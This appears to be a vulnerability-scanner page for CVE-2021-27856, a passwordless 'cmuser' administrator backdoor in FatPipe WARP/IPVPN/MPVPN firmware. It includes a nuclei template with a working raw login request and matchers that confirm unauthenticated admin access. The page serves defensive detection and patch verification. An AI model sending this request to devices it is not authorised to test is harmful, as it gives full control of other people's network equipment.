FatPipe WARP/IPVPN/MPVPN - Backdoor Account

criticalseverity

9.8CVSS score

5.5%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain an account named "cmuser" with administrative privileges and no password, letting attackers gain unauthorized admin access, exploit requires no authentication.

Impact

Unauthenticated attackers can gain unauthorized administrative access via a backdoor account with no password, leading to complete device compromise.

Fix

Upgrade to FatPipe WARP/IPVPN/MPVPN version 10.1.2r60p91 or 10.2.2r42 or later.

How to confirm it

Send: POST /fpui/loginServlet
Positive when: status 200 AND contains in header "application/json" AND contains "\"loginRes\":\"success\"" and "\"activeUserName\":\"cmuser\""

Run it with nuclei: nuclei -id CVE-2021-27856 -u <target>

The full check

id: CVE-2021-27856

info:
  name: FatPipe WARP/IPVPN/MPVPN - Backdoor Account
  author: gy741
  severity: critical
  description: |
    FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain an account named "cmuser" with administrative privileges and no password, letting attackers gain unauthorized admin access, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can gain unauthorized administrative access via a backdoor account with no password, leading to complete device compromise.
  remediation: |
    Upgrade to FatPipe WARP/IPVPN/MPVPN version 10.1.2r60p91 or 10.2.2r42 or later.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5684.php
    - https://www.fatpipeinc.com/support/advisories.php
    - https://www.fatpipeinc.com/support/cve-list.php
    - https://www.zeroscience.mk/codes/fatpipe_backdoor.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27856
    cwe-id: NVD-CWE-Other
    epss-score: 0.05469
    epss-percentile: 0.92818
    cpe: cpe:2.3:o:fatpipeinc:warp_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatpipeinc
    product: warp_firmware
  tags: cve,cve2021,fatpipe,default-login,backdoor,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        POST /fpui/loginServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        loginParams=%7B%22username%22%3A%22cmuser%22%2C%22password%22%3A%22%22%2C%22authType%22%3A0%7D

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - '"loginRes":"success"'
          - '"activeUserName":"cmuser"'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from